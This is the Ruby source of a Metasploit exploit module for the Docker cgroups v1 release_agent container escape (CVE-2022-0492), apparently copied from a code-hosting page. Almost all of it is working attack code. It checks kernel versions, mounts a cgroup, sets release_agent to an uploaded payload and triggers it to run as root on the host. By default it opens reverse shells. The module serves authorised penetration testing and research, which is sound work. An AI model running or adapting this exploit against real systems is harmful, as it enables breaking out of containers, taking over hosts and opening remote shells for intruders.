Path: blob/master/modules/exploits/linux/local/docker_cgroup_escape.rb
21666 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html78include Msf::Post::Linux::Priv9include Msf::Post::Linux::Kernel10include Msf::Post::File11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314prepend Msf::Exploit::Remote::AutoCheck1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Docker cgroups Container Escape',21'Description' => %q{22This exploit module takes advantage of a Docker image which has either the privileged flag, or SYS_ADMIN Linux capability.23If the host kernel is vulnerable, its possible to escape the Docker image and achieve root on the host operating system.2425A vulnerability was found in the Linux kernel's cgroup_release_agent_write in the kernel/cgroup/cgroup-v1.c function.26This flaw, under certain circumstances, allows the use of the cgroups v1 release_agent feature to escalate privileges27and bypass the namespace isolation unexpectedly.2829More simply put, cgroups v1 has a feature called release_agent that runs a program when a process in the cgroup terminates.30If notify_on_release is enabled, the kernel runs the release_agent binary as root. By editing the release_agent file,31an attacker can execute their own binary with elevated privileges, taking control of the system. However, the release_agent32file is owned by root, so only a user with root access can modify it.33},34'License' => MSF_LICENSE,35'Author' => [36'h00die', # msf module37'Yiqi Sun', # discovery38'Kevin Wang', # discovery39'T1erno', # POC40],41'Platform' => [ 'unix', 'linux' ],42'SessionTypes' => ['meterpreter'],43'DefaultOptions' => {44'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'45},46'Privileged' => true,47'References' => [48[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af'],49[ 'URL', 'https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/'],50[ 'URL', 'https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC'],51[ 'URL', 'https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492'],52[ 'URL', 'https://github.com/SofianeHamlaoui/CVE-2022-0492-Checker/blob/main/escape-check.sh'],53[ 'URL', 'https://pwning.systems/posts/escaping-containers-for-fun/'],54[ 'URL', 'https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html'],55[ 'URL', 'https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation'],56[ 'URL', 'https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/'],57[ 'CVE', '2022-0492']58],59'DisclosureDate' => '2022-02-04',60'Targets' => [61['BINARY', { 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } }],62['CMD', { 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }]63],64'DefaultTarget' => 0,65'Notes' => {66'Stability' => [CRASH_SAFE],67'Reliability' => [REPEATABLE_SESSION],68'SideEffects' => [ARTIFACTS_ON_DISK]69}70)71)72register_advanced_options [73OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])74]75end7677def base_dir78datastore['WritableDir']79end8081def check82print_status('Unable to determine host OS, this check method is unlikely to be accurate if the host isn\'t Ubuntu')83release = kernel_release84# https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-049285begin86release_short = Rex::Version.new(release.split('-').first)87release_long = Rex::Version.new(release.split('-')[0..1].join('-'))88if release_short >= Rex::Version.new('5.13.0') && release_long < Rex::Version.new('5.13.0-37.42') || # Ubuntu 21.1089release_short >= Rex::Version.new('5.4.0') && release_long < Rex::Version.new('5.4.0-105.119') || # Ubuntu 20.04 LTS90release_short >= Rex::Version.new('4.15.0') && release_long < Rex::Version.new('4.15.0-173.182') || # Ubuntu 18.04 LTS91release_short >= Rex::Version.new('4.4.0') && release_long < Rex::Version.new('4.4.0-222.255') # Ubuntu 16.04 ESM92return CheckCode::Vulnerable("IF host OS is Ubuntu, kernel version #{release} is vulnerable")93end94rescue ArgumentError => e95return CheckCode::Safe("Error determining or processing kernel release (#{release}) into known format: #{e}")96end9798CheckCode::Safe("Kernel version #{release} may not be vulnerable depending on the host OS")99end100101def exploit102# Check if we're already root as its required103fail_with(Failure::NoAccess, 'The exploit needs a session as root (uid 0) inside the container') unless is_root?104105# create mount106folder = rand_text_alphanumeric(5..10)107@mount_dir = "#{base_dir}/#{folder}"108register_dir_for_cleanup(@mount_dir)109vprint_status("Creating folder for mount: #{@mount_dir}")110mkdir(@mount_dir)111print_status('Mounting cgroup')112cmd_exec("mount -t cgroup -o rdma cgroup '#{@mount_dir}'")113group = rand_text_alphanumeric(5..10)114group_full_dir = "#{@mount_dir}/#{group}"115vprint_status("Creating folder in cgroup for exploitation: #{group_full_dir}")116mkdir(group_full_dir)117118print_status("Enabling notify on release for group #{group}")119write_file("#{group_full_dir}/notify_on_release", '1')120121print_status('Determining the host OS path for image')122# for this, we need the line that starts with overlay, and contains an 'upperdir' parameter, which we want the value of123mtab_file = read_file('/etc/mtab')124host_path = nil125mtab_file.each_line do |line|126next unless line.start_with?('overlay') && line.include?('perdir') # upperdir127128line.split(',').each do |parameter|129next unless parameter.start_with?('upperdir')130131parameter = parameter.split('=')132fail_with(Failure::UnexpectedReply, 'Unable to determine docker image path on host OS') unless parameter.length > 1133host_path = parameter[1]134end135break136end137138fail_with(Failure::UnexpectedReply, 'Unable to determine docker image path on host OS') if host_path.nil? || host_path.empty? || host_path.start_with?('sed') # start_with catches repeat of command139140vprint_status("Host OS path for image: #{host_path}")141142payload_path = "#{base_dir}/#{rand_text_alphanumeric(5..10)}"143print_status("Setting release_agent path to: #{host_path}#{payload_path}")144write_file "#{@mount_dir}/release_agent", "#{host_path}#{payload_path}"145146print_status("Uploading payload to #{payload_path}")147if target.name == 'CMD'148# for whatever reason it's unhappy and wont run without the /bin/sh header149upload_and_chmodx payload_path, "#!/bin/sh\n#{payload.encoded}\n"150elsif target.name == 'BINARY'151upload_and_chmodx payload_path, generate_payload_exe152end153register_files_for_cleanup(payload_path)154155print_status("Triggering payload with command: sh -c \"echo \$\$ > #{group_full_dir}/cgroup.procs\"")156cmd_exec(%(sh -c "echo \$\$ > '#{group_full_dir}/cgroup.procs'"))157end158159def cleanup160if @mount_dir161vprint_status("Cleanup: Unmounting #{@mount_dir}")162cmd_exec("umount '#{@mount_dir}'")163end164super165end166end167168169